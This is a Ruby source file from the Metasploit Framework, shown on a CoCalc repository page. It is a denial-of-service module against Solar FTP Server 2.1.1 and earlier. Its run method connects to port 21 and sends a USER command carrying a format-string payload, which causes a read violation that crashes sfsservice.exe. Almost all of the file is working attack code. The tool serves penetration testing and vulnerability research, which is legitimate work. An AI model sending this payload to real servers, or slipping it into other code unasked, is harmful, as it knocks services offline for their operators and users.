Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/windows/ftp/solarftp_user.rb
23649 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::Tcp
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Solar FTP Server Malformed USER Denial of Service',
15
'Description' => %q{
16
This module will send a format string as USER to Solar FTP, causing a
17
READ violation in function "__output_1()" found in "sfsservice.exe"
18
while trying to calculate the length of the string. This vulnerability
19
affects versions 2.1.1 and earlier.
20
},
21
'Author' => [
22
'x000 <3d3n[at]hotmail.com.br>', # Initial disclosure/exploit
23
'C4SS!0 G0M3S <Louredo_[at]hotmail.com>', # Metasploit submission
24
'sinn3r', # Metasploit edit/commit
25
],
26
'License' => MSF_LICENSE,
27
'References' => [
28
[ 'CVE', '2011-10029' ],
29
[ 'EDB', '16204' ],
30
],
31
'DisclosureDate' => '2011-02-22',
32
'Notes' => {
33
'Stability' => [CRASH_SERVICE_DOWN],
34
'SideEffects' => [],
35
'Reliability' => []
36
}
37
)
38
)
39
40
register_options(
41
[
42
Opt::RPORT(21)
43
]
44
)
45
end
46
47
def run
48
connect
49
50
banner = sock.get_once(-1, 10) || ''
51
print_status("Banner: #{banner.strip}")
52
53
buf = Rex::Text.pattern_create(50)
54
buf << '%s%lf%n%c%l%c%n%n%n%nC%lf%u%lf%d%s%v%n'
55
print_status('Sending format string...')
56
sock.put("USER #{buf}\r\n")
57
58
disconnect
59
end
60
end
61
62